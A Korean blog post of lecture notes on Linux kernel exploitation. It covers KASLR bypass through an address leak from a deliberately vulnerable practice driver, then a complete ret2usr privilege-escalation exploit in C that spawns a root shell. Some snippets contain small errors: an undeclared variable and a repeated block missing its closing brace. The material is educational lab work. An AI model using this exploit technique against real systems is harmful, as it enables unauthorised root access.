이 글은 리눅스 커널 해킹. A부터 Z까지 강의를 정리한 내용입니다.
KASLR이란
- 커널이 무작위 주소에 매핑되게 하는 보호기법
- 유저 영역의 ASLR와 유사한 원리
- 주로 커널이 실행되기 전인 부트로더에서 세팅
- 우회하기 위해서는 커널 메모리 주소 Leak이 필요
보호기법 우회를 알아보기 전 커널 익스플로잇에 필요한 배경지식인 commit_creds(prepare_kernel_cred(0))를 알아보겠습니다.
commit_creds(prepare_kernel_cred(0))이란
prepare_kernel_cred(0)는 커널 함수이며, 인자로 0을 전달할 경우 root credentials을 반환commit_creds()는 현재 태스크의 credentias를 인자로 받은 credentials로 갱신- 정리하면 현재 태스크의 권한을 root로 갱신하는 작업
prepare_kernel_cred : 기존 권한을 복사해서 새로운 권한 구조체를 만드는 함수. 0을 입력 시
init_cred라는 전역변수를 복사하는데, 이 변수는 리눅스의init프로세스가 사용하는 권한이기에 UID 0(root) 권한 Task : 실행의 단위. 흔히 말하는 프로세스, 스레드를 커널에서는 통칭 Task 라고 부름
해당 함수는 위와 같은 동작을 하며 커널 익스플로잇 시 대부분 이 코드를 실행하는 것을 목표로 합니다.
실습
실습 예제는 총 7개의 파일이 있습니다.

- bzImage : 커널 이미지 파일
- exp.c : 익스플로잇 진행 코드
- leak.c : 커널 메모리 주소 leak 코드
- rootfs.cpio : 리눅스 File System 압축 파일
- start.sh : qemu script
- test.c : 디바이스 드라이버 예제
먼저 보호기법부터 체크를 하겠습니다.
보호기법

start.sh 파일을 보면 kaslr 옵션으로 보호기법이 적용된 걸 볼 수 있습니다.
드라이버 분석

test.c 코드를 보면 주요 함수가 2개 있습니다.
test_read:copy_to_user함수를 이용해printk함수의 주소를 유저 영역으로 복사test_write:copy_from_user함수를 이용해fp_exec변수에 값을 복사한 후 해당 값을 실행
copy_from_user : 사용자가 보낸 데이터를 커널 안으로 가져오는 함수 copy_to_user : 커널이 처리한 결과를 사용자에게 돌려주는 함수
test_read 함수를 호출하면 printk 함수의 주소를 얻어 커널 Memory Leak이 가능합니다.
Memory Leak
제가 작성한 printk 함수 주소 leak하는 코드입니다.
// gcc -static -o mem_leak mem_leak.c
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
int fd;
void *printk_addr;
fd = open("/dev/test", O_RDWR);
read(fd, &printk_addr, 0);
printf("printk address : %p\n", printk_addr);
close(fd);
}컴파일 해서 나온 파일은 아래 사진과 같이 rootfs.cpio 파일 압축 해제 후 파일 시스템 디렉토리에 넣어준 후 다시 압축해주면 됩니다.


정상적으로 leak이 되고, 저는 Offset까지 구해서 Kernel Memory Base와 공격에 필요한 함수의 주소까지 구하는 코드로 마무리 했습니다.



#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
int fd;
void *printk_addr, *kernel_base_addr, *commit_creds_addr, *prepare_kernel_cred_addr;
fd = open("/dev/test", O_RDWR);
read(fd, &printk_addr, 0);
kernel_base_addr = printk_addr - 0xbedb9;
commit_creds_addr = kernel_base_addr + 0x8e9f0;
prepare_kernel_cred = kernel_base_addr + 0x8ec20;
printf("printk addr : %p\n", printk_addr);
printf("Kernel addr : %p\n", kernel_base_addr);
printf("commit_creds addr : %p\n", commit_creds_addr);
printf("prepare_kernel_creds addr : %p\n", prepare_kernel_cred);
close(fd);
}
Exploit
제가 최종 익스플로잇 코드는 아래와 같습니다.
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
unsigned long commit_creds_addr;
unsigned long prepare_kernel_cred_addr;
unsigned long user_ss, user_rsp, user_rflags, user_cs;
static void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}
static void save_state(void) {
asm volatile(
"movq %%cs, %0\n\t"
"movq %%ss, %1\n\t"
"movq %%rsp, %2\n\t"
"pushfq\n\t"
"popq %3\n\t"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory"
);
}
static void restore_state(void) {
asm volatile(
"swapgs\n\t"
"movq %0, 0x20(%%rsp)\n\t"
"movq %1, 0x18(%%rsp)\n\t"
"movq %2, 0x10(%%rsp)\n\t"
"movq %3, 0x08(%%rsp)\n\t"
"movq %4, 0x00(%%rsp)\n\t"
"iretq\n\t"
:
: "r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(win)
: "memory"
);
}
static void escalate_privilege() {
char *(*pkc)(int) = (void *)(prepare_kernel_cred_addr);
void (*cc)(char *) = (void *)(commit_creds_addr);
(*cc)((*pkc)(0));
restore_state();
}
int main() {
save_state();
int fd;
void *printk_addr, *kernel_base_addr, *ptr;
fd = open("/dev/test", O_RDWR);
read(fd, &printk_addr, 0);
kernel_base_addr = printk_addr - 0xbedb9;
commit_creds_addr = kernel_base_addr + 0x8e9f0;
prepare_kernel_cred_addr = kernel_base_addr + 0x8ec20;
printf("printk addr : %p\n", printk_addr);
printf("Kernel addr : %p\n", kernel_base_addr);
printf("commit_creds addr : %p\n", commit_creds_addr);
printf("prepare_kernel_creds addr : %p\n", prepare_kernel_cred_addr);
ptr = &escalate_privilege;
write(fd, &ptr, sizeof(ptr));
close(fd);
}코드가 갑자기 길어진 이유는 커널 영역에서 유저 영역으로 돌아올때 GS 세그먼트를 전환해야 하기 때문입니다. GS 세그먼트를 전환하기 위해서는 swapgs 함수를 호출하고 이후에 바로 iretq를 호출하면 되는데, iretq를 호출하기 전에 스택에 유저 영역의 정보를 아래 사진과 같은 순서로 쌓아둬야 합니다.

RSP 주소는 어디든 상관 없고, RIP는 쉘을 실행해주는 함수로 설정하면 됩니다.
※ 자세한 내용은 ret2usr 공격기법 글 참고
메인 함수 부분만 보면 commit_creds 함수랑 prepare_kernel_cred_addr 함수의 실제 주소를 구하고, 처음에 알아본 commit_creds(prepare_kernel_cred(0)) 코드를 실행해줘서 root 권한의 shell을 실행해주는 것입니다.
static void escalate_privilege() {
char *(*pkc)(int) = (void *)(prepare_kernel_cred_addr);
void (*cc)(char *) = (void *)(commit_creds_addr);
(*cc)((*pkc)(0));
restore_state();
}
int main() {
save_state();
int fd;
void *printk_addr, *kernel_base_addr, *ptr;
fd = open("/dev/test", O_RDWR);
read(fd, &printk_addr, 0);
kernel_base_addr = printk_addr - 0xbedb9;
commit_creds_addr = kernel_base_addr + 0x8e9f0;
prepare_kernel_cred_addr = kernel_base_addr + 0x8ec20;
printf("printk addr : %p\n", printk_addr);
printf("Kernel addr : %p\n", kernel_base_addr);
printf("commit_creds addr : %p\n", commit_creds_addr);
printf("prepare_kernel_creds addr : %p\n", prepare_kernel_cred_addr);
ptr = &escalate_privilege;
write(fd, &ptr, sizeof(ptr));
close(fd);
Conclusion
이렇게 KASLR 보호기법과 우회하여 공격을 할 수 있는 ret2usr 공격기법 기초에 대해 알아봤습니다.